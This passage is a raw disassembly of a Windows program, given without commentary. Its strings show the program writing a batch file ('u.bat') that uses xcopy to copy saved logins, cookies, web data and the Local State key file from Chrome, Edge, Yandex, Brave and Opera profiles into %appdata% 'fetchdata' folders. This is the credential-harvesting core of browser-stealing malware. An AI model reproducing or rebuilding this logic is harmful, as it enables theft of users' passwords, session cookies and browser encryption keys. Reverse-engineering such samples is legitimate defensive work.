mov qword [rbp + 0xb0], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x1401bb470]
lea rcx, [rbp + 0x98]
call fcn.14001c180
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, reloc.WS2_32.dll_listen
lea rdx, [0x1401bb460]
lea rcx, [rbp + 0x78]
call fcn.14001c180
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
lea rcx, [rbp + 0xda0]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140014283
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001427e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c92
call fcn.14014fd6c
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x1400142d4
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400142cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c98
call fcn.14014fd6c
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x14001432b
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014326
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c9e
call fcn.14014fd6c
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xb0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x140014385
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014380
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015ca4
call fcn.14014fd6c
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x1400143df
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400143da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015caa
call fcn.14014fd6c
mov qword [rbp + 0xe8], r13
mov qword [rbp + reloc.WS2_32.dll_ntohs0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x110]
cmp rdx, 0x10
jb 0x140014439
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014434
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015cb0
call fcn.14014fd6c
mov qword [rbp + 0x108], r13
mov qword [rbp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x14001448d
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014488
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015cb6
call fcn.14014fd6c
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0x10
jb 0x1400144de
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400144d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015cbc
call fcn.14014fd6c
mov rax, r15
mov rcx, qword [rbp + 0xae8]
sub rax, rcx
cmp rax, 7
jb 0x140015cc2
lea rax, [rbp + 0xad8]
cmp qword [rbp + 0xaf0], 0x10
cmovae rax, qword [rbp + 0xad8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp + 0xad8]
movzx edx, dil
lea rcx, [rbp + 0x2e8]
call fcn.140021700
nop
mov r8, r12
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x5d8]
call fcn.14001d400
nop
lea r8, [rbp + 0xaf8]
mov rdx, rax
lea rcx, [rbp + 0x5b8]
call fcn.14001d4d0
nop
lea r8, str.Web_Data_
mov rdx, rax
lea rcx, [rbp + 0x598]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdatachrome_
mov rdx, rax
lea rcx, [rbp + 0x578]
call fcn.14001d400
nop
lea r8, [rbp + 0xba0]
mov rdx, rax
lea rcx, [rbp + 0x558]
call fcn.14001d4d0
nop
lea r8, [0x1401bb470]
mov rdx, rax
lea rcx, [rbp + 0x538]
call fcn.14001d400
nop
lea r8, [0x1401bb460]
mov rdx, rax
lea rcx, [rbp + 0x518]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.14001db50
nop
lea rcx, [rbp + 0x518]
call fcn.140002170
nop
lea rcx, [rbp + 0x538]
call fcn.140002170
nop
lea rcx, [rbp + 0x558]
call fcn.140002170
nop
lea rcx, [rbp + 0x578]
call fcn.140002170
nop
lea rcx, [rbp + 0x598]
call fcn.140002170
nop
lea rcx, [rbp + 0x5b8]
call fcn.140002170
nop
lea rcx, [rbp + 0x5d8]
call fcn.140002170
nop
lea rcx, [rbp + 0x2e8]
call fcn.140002170
nop
lea rcx, [rbp + 0xc30]
call fcn.140002170
nop
lea rcx, [rbp + 0xba0]
call fcn.140002170
jmp 0x14001483c
cmp byte [rsp + 0x40], 0
jne 0x140014839
lea r8, [rbp + 0xad8]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x638]
call fcn.14001d460
nop
lea r8, str.DefaultLogin_Data_
mov rdx, rax
lea rcx, [rbp + 0x618]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdatachrome___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x5f8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.14001db50
nop
lea rcx, [rbp + 0x5f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x618]
call fcn.140002170
nop
lea rcx, [rbp + 0x638]
call fcn.140002170
lea r8, [rbp + 0xad8]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x678]
call fcn.14001d460
nop
lea r8, str.Local_State____appdata__fetchdatachrome___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x658]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.14001db50
nop
lea rcx, [rbp + 0x658]
call fcn.140002170
nop
lea rcx, [rbp + 0x678]
call fcn.140002170
lea r8, [rbp + 0xad8]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x6b8]
call fcn.14001d460
nop
lea r8, str.DefaultNetworkCookies____appdata__fetchdatachrome___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x698]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.14001db50
nop
lea rcx, [rbp + 0x698]
call fcn.140002170
nop
lea rcx, [rbp + 0x6b8]
call fcn.140002170
lea r8, [rbp + 0xad8]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x718]
call fcn.14001d460
nop
lea r8, str.DefaultWeb_Data_
mov rdx, rax
lea rcx, [rbp + 0x6f8]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdatachrome___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x4f8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.14001db50
nop
lea rcx, [rbp + 0x4f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x6f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x718]
call fcn.140002170
mov byte [rsp + 0x40], 1
xor r13d, r13d
lea rcx, [rbp + 0xaf8]
call fcn.140002170
lea rcx, [rbp + 0xb40]
call fcn.140005ba0
mov rax, qword [rbp + 0xb40]
test rax, rax
jne 0x1400135f0
lea r14, str.System
lea r12, [0x1401bb070]
lea rcx, [rbp + 0xcd0]
call fcn.140005cd0
nop
lea rcx, [rbp + 0xb40]
call fcn.140005cd0
nop
lea rcx, [rbp + 0xb20]
call fcn.140005cd0
lea rcx, [rbp + 0xda0]
call fcn.140017b40
nop
lea rcx, [rbp + 0xda0]
call fcn.140015ce0
lea rbx, str.u.bat
lea rcx, [rbp + 0xbd0]
call fcn.140007fa0
test al, al
je 0x1400151b9
lea rcx, [rbp + 0xd40]
call fcn.14001a0e0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0xf00]
call fcn.140015d80
mov r8, rbx
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp + 0x738]
call fcn.14001d390
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.140017b90
nop
lea rcx, [rbp + 0x738]
call fcn.140002170
xor dil, dil
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp + 0xce0]
call fcn.14001d750
nop
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0xb70]
call fcn.140005b50
nop
lea rcx, [rbp + 0xce0]
call fcn.140004e00
lea rcx, [rbp + 0xbc0]
call fcn.140005ee0
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0xb50]
call fcn.14000c1a0
mov rdx, rax
lea rcx, [rbp + 0xbc0]
call fcn.140005ca0
nop
lea rcx, [rbp + 0xbf0]
call fcn.140005ee0
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0x218]
call fcn.14000c1a0
mov rdx, rax
lea rcx, [rbp + 0xbf0]
call fcn.140005d20
nop
mov rax, qword [rbp + 0xbc0]
mov rsi, qword [rbp + 0xbf0]
cmp rax, rsi
je 0x14001517a
nop
lea rbx, [rax + 0x20]
mov rcx, rbx
call fcn.140005e10
test al, al
je 0x140015157
lea rdx, [rbp + 0x288]
mov rcx, rbx
call fcn.140004d50
nop
lea rdx, [rbp + 0xb50]
mov rcx, rax
call fcn.140004c60
nop
lea rcx, [rbp + 0x288]
call fcn.140004e00
lea rdx, str.Profile
lea rcx, [rbp + 0xb50]
call fcn.140019ff0
cmp rax, 0xffffffffffffffff
je 0x140014fbb
mov rdx, r14
lea rcx, [rbp + 0xb50]
call fcn.140019ff0
cmp rax, 0xffffffffffffffff
jne 0x140015b88
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0x1b8]
call fcn.140002240
mov rdx, rax
lea rcx, [rbp + 0xb20]
call fcn.14001d910
nop
mov r8, r12
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0x288]
call fcn.14001d390
nop
lea r8, [rbp + 0xb20]
mov rdx, rax
lea rcx, [rbp + 0xce0]
call fcn.14001d4d0
nop
lea rcx, [rbp + 0x288]
call fcn.140002170
lea rcx, [rbp + 0xce0]
call fcn.14001a0e0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea r8, [rbp + 0xbd0]
lea rdx, str.xcopy__
lea rcx, [rbp - 0x68]
call fcn.14001d460
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.14001d400
nop
lea r8, [rbp + 0xb50]
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.14001d4d0
nop
lea r8, str.Login_Data_
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataedge_
mov rdx, rax
lea rcx, [rbp + 0x228]
call fcn.14001d400
nop
lea r8, [rbp + 0xb20]
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.14001d4d0
nop
lea r8, [0x1401bb470]
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.14001d400
nop
lea r8, [0x1401bb460]
mov rdx, rax
lea rcx, [rbp + 0x1b8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.14001db50
nop
lea rcx, [rbp + 0x1b8]
call fcn.140002170
nop
lea rcx, [rbp + 0x248]
call fcn.140002170
nop
lea rcx, [rbp + 0x268]
call fcn.140002170
nop
lea rcx, [rbp + 0x228]
call fcn.140002170
nop
lea rcx, [rbp + 0x1f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x198]
call fcn.140002170
nop
lea rcx, [rbp - 0x48]
call fcn.140002170
nop
lea rcx, [rbp - 0x68]
call fcn.140002170
lea r8, [rbp + 0xbd0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x1b8]
call fcn.14001d460
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.14001d400
nop
lea r8, [rbp + 0xb50]
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.14001d4d0
nop
lea r8, str.NetworkCookies_
mov rdx, rax
lea rcx, [rbp + 0x228]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataedge_
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.14001d400
nop
lea r8, [rbp + 0xb20]
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.14001d4d0
nop
lea r8, [0x1401bb470]
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.14001d400
nop
lea r8, [0x1401bb460]
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.14001db50
nop
lea rcx, [rbp - 0x68]
call fcn.140002170
nop
lea rcx, [rbp - 0x48]
call fcn.140002170
nop
lea rcx, [rbp + 0x198]
call fcn.140002170
nop
lea rcx, [rbp + 0x1f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x228]
call fcn.140002170
nop
lea rcx, [rbp + 0x268]
call fcn.140002170
nop
lea rcx, [rbp + 0x248]
call fcn.140002170
nop
lea rcx, [rbp + 0x1b8]
call fcn.140002170
lea r8, [rbp + 0xbd0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x1b8]
call fcn.14001d460
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.14001d400
nop
lea r8, [rbp + 0xb50]
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.14001d4d0
nop
lea r8, str.Web_Data_
mov rdx, rax
lea rcx, [rbp + 0x228]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataedge_
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.14001d400
nop
lea r8, [rbp + 0xb20]
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.14001d4d0
nop
lea r8, [0x1401bb470]
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.14001d400
nop
lea r8, [0x1401bb460]
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.14001db50
nop
lea rcx, [rbp - 0x68]
call fcn.140002170
nop
lea rcx, [rbp - 0x48]
call fcn.140002170
nop
lea rcx, [rbp + 0x198]
call fcn.140002170
nop
lea rcx, [rbp + 0x1f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x228]
call fcn.140002170
nop
lea rcx, [rbp + 0x268]
call fcn.140002170
nop
lea rcx, [rbp + 0x248]
call fcn.140002170
nop
lea rcx, [rbp + 0x1b8]
call fcn.140002170
nop
lea rcx, [rbp + 0xce0]
call fcn.140002170
nop
lea rcx, [rbp + 0xb20]
call fcn.140002170
jmp 0x14001514b
mov rax, qword [rbp + 0xb10]
cmp rax, 0x10
jb 0x140014e84
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xaf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014e7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015c4a
call fcn.14014fd6c
mov qword [rbp + 0xb08], 0
mov qword [rbp + 0xb10], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xaf8], 0
mov rcx, qword [rbp + 0xb48]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x140014ef1
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140014ee8
mov rbx, qword [rbp + 0xb48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140014ee8
mov rcx, qword [rbp + 0xb48]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbp + 0xb28]
jmp 0x140014ef6
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140014f2e
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140014f2e
mov rbx, qword [rbp + 0xb28]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x140014f2e
mov rcx, qword [rbp + 0xb28]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rax, qword [rbp + 0xda0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xda0], rax
mov rax, qword [rbp + 0xda0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xd9c], edx
lea rcx, [rbp + 0xda8]
call fcn.140018bb0
mov rax, qword [rbp + 0xda0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xda0], rax
mov rax, qword [rbp + 0xda0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xd9c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xe48], rax
lea rcx, [rbp + 0xe48]
call fcn.14014ce90
nop
jmp 0x140015a96
test dil, dil
jne 0x14001514b
lea r8, [rbp + 0xbd0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x198]
call fcn.14001d460
nop
lea r8, str.DefaultLogin_Data_
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataedge___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.14001db50
nop
lea rcx, [rbp - 0x68]
call fcn.140002170
nop
lea rcx, [rbp - 0x48]
call fcn.140002170
nop
lea rcx, [rbp + 0x198]
call fcn.140002170
lea r8, [rbp + 0xbd0]
lea rdx, str.xcopy__
lea rcx, [rbp - 0x48]
call fcn.14001d460
nop
lea r8, str.Local_State____appdata__fetchdataedge___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.14001db50
nop
lea rcx, [rbp - 0x68]
call fcn.140002170
nop
lea rcx, [rbp - 0x48]
call fcn.140002170
lea r8, [rbp + 0xbd0]
lea rdx, str.xcopy__
lea rcx, [rbp - 0x48]
call fcn.14001d460
nop
lea r8, str.DefaultNetworkCookies____appdata__fetchdataedge___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.14001db50
nop
lea rcx, [rbp - 0x68]
call fcn.140002170
nop
lea rcx, [rbp - 0x48]
call fcn.140002170
lea r8, [rbp + 0xbd0]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x198]
call fcn.14001d460
nop
lea r8, str.DefaultWeb_Data_
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataedge___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0xf00]
call fcn.14001db50
nop
lea rcx, [rbp - 0x68]
call fcn.140002170
nop
lea rcx, [rbp - 0x48]
call fcn.140002170
nop
lea rcx, [rbp + 0x198]
call fcn.140002170
mov dil, 1
lea rcx, [rbp + 0xb50]
call fcn.140002170
lea rcx, [rbp + 0xbc0]
call fcn.140005ba0
mov rax, qword [rbp + 0xbc0]
cmp rax, rsi
jne 0x1400149d0
lea rbx, str.u.bat
lea rcx, [rbp + 0xbf0]
call fcn.140005cd0
nop
lea rcx, [rbp + 0xbc0]
call fcn.140005cd0
nop
lea rcx, [rbp + 0xb70]
call fcn.140005cd0
lea rcx, [rbp + 0xf00]
call fcn.140017b40
nop
lea rcx, [rbp + 0xf00]
call fcn.140015ce0
lea rcx, [rbp + 0xc50]
call fcn.140007fa0
test al, al
je 0x1400153f0
lea rcx, [rbp + 0xd80]
call fcn.14001a0e0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0x1010]
call fcn.140015d80
mov r8, rbx
lea rdx, [rbp + 0xc50]
lea rcx, [rbp + 0x758]
call fcn.14001d390
nop
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.140017b90
nop
lea rcx, [rbp + 0x758]
call fcn.140002170
lea r8, [rbp + 0xc50]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x6d8]
call fcn.14001d460
nop
lea r8, str.DefaultLogin_Data_
mov rdx, rax
lea rcx, [rbp + 0x798]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdatayandex___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x778]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.14001db50
nop
lea rcx, [rbp + 0x778]
call fcn.140002170
nop
lea rcx, [rbp + 0x798]
call fcn.140002170
nop
lea rcx, [rbp + 0x6d8]
call fcn.140002170
lea r8, [rbp + 0xc50]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x7d8]
call fcn.14001d460
nop
lea r8, str.Local_State____appdata__fetchdatayandex___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x7b8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.14001db50
nop
lea rcx, [rbp + 0x7b8]
call fcn.140002170
nop
lea rcx, [rbp + 0x7d8]
call fcn.140002170
lea r8, [rbp + 0xc50]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x818]
call fcn.14001d460
nop
lea r8, str.DefaultNetworkCookies____appdata__fetchdatayandex___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x7f8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.14001db50
nop
lea rcx, [rbp + 0x7f8]
call fcn.140002170
nop
lea rcx, [rbp + 0x818]
call fcn.140002170
lea r8, [rbp + 0xc50]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x878]
call fcn.14001d460
nop
lea r8, str.DefaultWeb_Data_
mov rdx, rax
lea rcx, [rbp + 0x858]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdatayandex___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x838]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.14001db50
nop
lea rcx, [rbp + 0x838]
call fcn.140002170
nop
lea rcx, [rbp + 0x858]
call fcn.140002170
nop
lea rcx, [rbp + 0x878]
call fcn.140002170
lea rcx, [rbp + 0x1010]
call fcn.140017b40
nop
lea rcx, [rbp + 0x1010]
call fcn.140015ce0
lea rcx, [rbp + 0xc70]
call fcn.140007fa0
test al, al
je 0x140015627
lea rcx, [rbp + 0xd20]
call fcn.14001a0e0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0x1120]
call fcn.140015d80
mov r8, rbx
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0x898]
call fcn.14001d390
nop
mov rdx, rax
lea rcx, [rbp + 0x1120]
call fcn.140017b90
nop
lea rcx, [rbp + 0x898]
call fcn.140002170
lea r8, [rbp + 0xc70]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x8f8]
call fcn.14001d460
nop
lea r8, str.DefaultLogin_Data_
mov rdx, rax
lea rcx, [rbp + 0x8d8]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdata_brave___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x8b8]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1120]
call fcn.14001db50
nop
lea rcx, [rbp + 0x8b8]
call fcn.140002170
nop
lea rcx, [rbp + 0x8d8]
call fcn.140002170
nop
lea rcx, [rbp + 0x8f8]
call fcn.140002170
lea r8, [rbp + 0xc70]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x938]
call fcn.14001d460
nop
lea r8, str.Local_State____appdata__fetchdata_brave___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x918]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1120]
call fcn.14001db50
nop
lea rcx, [rbp + 0x918]
call fcn.140002170
nop
lea rcx, [rbp + 0x938]
call fcn.140002170
lea r8, [rbp + 0xc70]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x978]
call fcn.14001d460
nop
lea r8, str.DefaultNetworkCookies____appdata__fetchdata_brave___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x958]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1120]
call fcn.14001db50
nop
lea rcx, [rbp + 0x958]
call fcn.140002170
nop
lea rcx, [rbp + 0x978]
call fcn.140002170
lea r8, [rbp + 0xc70]
lea rdx, str.xcopy__
lea rcx, [rbp + 0x9d8]
call fcn.14001d460
nop
lea r8, str.DefaultWeb_Data_
mov rdx, rax
lea rcx, [rbp + 0x9b8]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdata_brave___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0x998]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1120]
call fcn.14001db50
nop
lea rcx, [rbp + 0x998]
call fcn.140002170
nop
lea rcx, [rbp + 0x9b8]
call fcn.140002170
nop
lea rcx, [rbp + 0x9d8]
call fcn.140002170
lea rcx, [rbp + 0x1120]
call fcn.140017b40
nop
lea rcx, [rbp + 0x1120]
call fcn.140015ce0
lea rcx, [rbp + 0xc90]
call fcn.140007fa0
test al, al
je 0x14001585e
lea rcx, [rbp + 0xd20]
call fcn.14001a0e0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0x1230]
call fcn.140015d80
mov r8, rbx
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x9f8]
call fcn.14001d390
nop
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.140017b90
nop
lea rcx, [rbp + 0x9f8]
call fcn.140002170
lea r8, [rbp + 0xc90]
lea rdx, str.xcopy__
lea rcx, [rbp + 0xa58]
call fcn.14001d460
nop
lea r8, str.Login_Data_
mov rdx, rax
lea rcx, [rbp + 0xa38]
call fcn.14001d400
nop
lea r8, str.___appdata__fetchdataopera___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0xa18]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.14001db50
nop
lea rcx, [rbp + 0xa18]
call fcn.140002170
nop
lea rcx, [rbp + 0xa38]
call fcn.140002170
nop
lea rcx, [rbp + 0xa58]
call fcn.140002170
lea r8, [rbp + 0xc90]
lea rdx, str.xcopy__
lea rcx, [rbp + 0xa98]
call fcn.14001d460
nop
lea r8, str.Local_State____appdata__fetchdataopera___K__D__H__Y_n
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14001d400
nop
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.14001db50
nop
